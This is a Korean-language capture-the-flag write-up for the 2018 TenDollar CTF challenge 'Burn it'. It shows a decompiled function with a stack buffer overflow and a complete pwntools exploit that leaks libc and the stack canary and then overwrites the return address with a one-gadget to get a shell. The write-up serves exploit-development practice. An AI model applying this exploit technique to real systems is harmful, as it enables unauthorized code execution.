2018 TenDollar CTF Burn it
좀 재밌게 풀었다 뭐 문제에 기능은 많은데 한 함수에서 모든걸 다 해결해버릴 수 있다.
[*] '/vagrant/ctfs/2018_TDCTF/pwnable/burnit/burnit'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
여기 함수에서 취약점이 터져부린다.
unsigned __int64 sub_C4F()
{
char v1; // [rsp+7h] [rbp-159h]
__int64 v2; // [rsp+8h] [rbp-158h]
char v3; // [rsp+10h] [rbp-150h]
unsigned __int64 v4; // [rsp+158h] [rbp-8h]
v4 = __readfsqword(0x28u);
while ( 1 )
{
puts("Do you have anything to say to the professor?[y/n]");
_isoc99_scanf("%s", &v1);
getchar();
if ( v1 != 'y' )
break;
sub_C00(v2, &v3);
printf("right? %s\n", &v3);
}
puts("Good bye~");
return __readfsqword(0x28u) ^ v4;
}
printf로 v3출력해주니까 값을 채워서 원하는 값 leak할 수있는데 중간에 stdin이 있어서 libc도 구할 수 있었다. 그리고 카나리도 구했고 페이로드 맞춰서 리턴을 원샷으로 잘 덮어주면 된다
exploit.py
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./burnit')
p = process('./burnit',aslr=True)
libc = e.libc
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
sla(':','4')
sla('[y/n]','y')
sl('B'*72)
p.recvuntil('B'*72)
stdin = u64(p.recv(6)+'\x00\x00')
log.info('_IO_2_1_stdin_ : {}'.format(hex(stdin)))
libc_base = stdin - libc.symbols['_IO_2_1_stdin_']
log.info('libc_base : {}'.format(hex(libc_base)))
sla('[y/n]','y')
sl('B'*328+'C')
p.recvuntil('C')
canary = u64('\x00'+p.recv(7))
log.info('Canary : {}'.format(hex(canary)))
sla('[y/n]','y')
sl('B'*328+p64(canary)+'A'*8+p64(libc_base+0x45216))
sla('[y/n]','n')
p.interactive()